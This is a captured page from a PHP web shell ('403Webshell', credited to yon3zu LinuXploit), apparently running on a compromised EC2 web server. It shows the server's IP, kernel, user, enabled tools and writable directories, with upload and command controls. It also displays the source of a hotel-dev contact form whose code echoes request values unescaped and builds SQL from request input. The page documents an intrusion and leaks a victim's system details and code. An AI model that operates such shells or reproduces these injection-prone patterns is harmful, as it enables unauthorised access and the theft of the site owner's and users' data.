403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/mod/contact_form.php
<?php include('_mod_security.php'); ?>
<?php
	form_prep('contacts', 'basic_info');
	if ($_POST['ajax_event_submitted'] == '1') :
		form_reload_check();
		if (isset($_POST['active_tab'])) :
			$active_tab = $_POST['active_tab'];
		else :
			$active_tab = 'basic_info';
		endif;
		$ar_err = array();
		if (empty($_POST['title'])) :
			$ar_err['title'] = 'Title is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (empty($_POST['first_name'])) :
			$ar_err['first_name'] = 'First name is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (empty($_POST['last_name'])) :
			$ar_err['last_name'] = 'Last name is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (!$err_flag) :
			$set = "title = ".$db->quote(trim($_POST['title'])).", ".
					"first_name = ".$db->quote(trim($_POST['first_name'])).", ".
					"last_name = ".$db->quote(trim($_POST['last_name'])).", ".
					"email = ".$db->quote(trim($_POST['email'])).", ".
					"phone = ".$db->quote(trim($_POST['phone'])).", ".
					"cell_phone = ".$db->quote(trim($_POST['cell_phone'])).", ".
					"hotel_id = ".nz(trim($_POST['hotel_id']), '0').", ".
					"fyi = ".nz(trim($_POST['fyi']),'0').", ".
					"on_the_promenade = ".nz(trim($_POST['on_the_promenade']),'0').", ".
					"fyi_email = ".nz(trim($_POST['fyi_email']),'0').", ".
					"on_the_promenade_email = ".nz(trim($_POST['on_the_promenade_email']),'0').", ".
					"comments = ".$db->quote(trim($_POST['comments'])).", ".
					sql_set_update();
			if ($action == 'Edit') :
				$sql = "UPDATE contacts set ".$set.
					"WHERE contact_id = ".nz(trim($_REQUEST['id']), '0')." ";
				$db->query($sql) or die('Database Error!');
				//echo '==='.$sql.'===';
				post_set_update();
			else :
				if ($action == 'Add New') :
					$sql = "INSERT INTO contacts SET ".
						sql_set_create().
						$set;
					//echo '==='.$sql.'===';
					$db->query($sql) or die('Database Error!');
					$_REQUEST['id'] = last_id();
					$_POST['contact_id'] = $_REQUEST['id'];
					post_set_create_update();
				endif;
			endif;
			$form_message = "Saved sucessfully!";
			form_uid_reset();
			if ($_POST['xsubmit'] == 'Save & Close') :
				echo "<SCRIPT>";
				//echo "window.location.href = 'index.php?IX=".$_REQUEST['ref']."'";
				echo "appstack_pop()";
				echo "</SCRIPT>";
			endif;
			if ($_POST['xsubmit'] == 'Save & New') :
				echo "<SCRIPT>";
				echo "window.location.href = 'index.php?IX=contact_form&ref=".urlencode($_REQUEST['ref'])."&hotel_id=".$_GET['hotel_id']."'";
				echo "</SCRIPT>";
			endif;
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT * FROM contacts WHERE contact_id = ".nz(trim($_REQUEST['id']), '0')." ";
			$result = $db->query($sql) or die('Database Error!');
			if ($result->rowCount() > 0) :
				$row = $result->fetch(PDO::FETCH_OBJ);
				$_POST['contact_id'] = $row->contact_id;
				$_POST['title'] = $row->title;
				$_POST['first_name'] = $row->first_name;
				$_POST['last_name'] = $row->last_name;
				$_POST['email'] = $row->email;
				$_POST['phone'] = $row->phone;
				$_POST['cell_phone'] = $row->cell_phone;
				$_POST['hotel_id'] = $row->hotel_id;
				$_POST['fyi'] = $row->fyi;
				$_POST['on_the_promenade'] = $row->on_the_promenade;
				$_POST['fyi_email'] = $row->fyi_email;
				$_POST['on_the_promenade_email'] = $row->on_the_promenade_email;
				$_POST['comments'] = $row->comments;
				post_set_load_create_update();
			else :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		else :
			if (!empty($_REQUEST['hotel_id'])) :
				$_POST['hotel_id'] = $_GET['hotel_id'];
			endif;
		endif;
	endif;
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	update_header = function()
	{
		if ($("#first_name").val() > "" && $("#last_name").val() > "" )
		{
			$("#header_repeater").text(" - " + $("#first_name").val() + ' ' + $("#last_name").val());
		}
	}
	
	$(document).ready(function()	
		{
			switch_tab('<?php echo $active_tab; ?>');
			update_header();
			$(':input:not(.search)').change(function() {sheet_dirty = true; } );
		}
	)
</script>

<h1>Contact - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form style="" name="frm_contact" id="frm_contact" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php form_button_strip('top'); ?>
	<div class="tab_strip">
		<?php
			form_tab_header('basic_info', 'Basic Info', 'admin,eventmgr,gte');
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<div class="tab_content" id="tab_content_basic_info">
		<div class="form_header">
			Basic Info
		</div>
		<div class="input_column">
			<?php
				form_field('contact_id', 'text', 10, 0, false, false, true, '', '', 'contact_id', 'Contact ID');
				form_field('title', 'text', 50, 0, true, false, false, '', '', 'title', 'Title');
				form_field('first_name', 'text', 50, 0, true, false, false, '', '', 'first_name', 'First Name', array(), '', 'update_header();');
				form_field('last_name', 'text', 50, 0, true, false, false, '', '', 'last_name', 'Last Name', array(), '', 'update_header();');
				form_field('email', 'text', 50, 0, false, false, false, '', '', 'email', 'Email');
				form_field('phone', 'text', 50, 0, false, false, false, '', '', 'phone', 'Phone');
				form_field('cell_phone', 'text', 50, 0, false, false, false, '', '', 'cell_phone', 'Cell Phone');
				$sql = "SELECT hotel_id, hotel_name FROM hotels ORDER BY hotel_name ";
				$result = $db->query($sql) or die('Database Error!');
				$ar_hotels = $result->fetchAll(PDO::FETCH_KEY_PAIR);
				form_field('hotel_id', 'select', 50, 0, false, false, false, '', '', 'hotel_id', 'Hotel', $ar_hotels);
			?>
		</div>
		<div class="input_column">
			<?php
				form_field('comments', 'textarea', 70, 9, false, false, false, '', '', 'comments', 'Comments');
				form_field('fyi', 'checkbox', 50, 0, false, false, false, '', '', 'fyi', 'FYI');
				form_field('on_the_promenade', 'checkbox', 50, 0, false, false, false, '', '', 'on_the_promenade', 'On The Promenade');
				form_field('fyi_email', 'checkbox', 50, 0, false, false, false, '', '', 'fyi_email', 'FYI Email');
				form_field('on_the_promenade_email', 'checkbox', 50, 0, false, false, false, '', '', 'on_the_promenade_email', 'On The Promenade Email');
			?>
		</div>
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_button_strip('bottom'); ?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit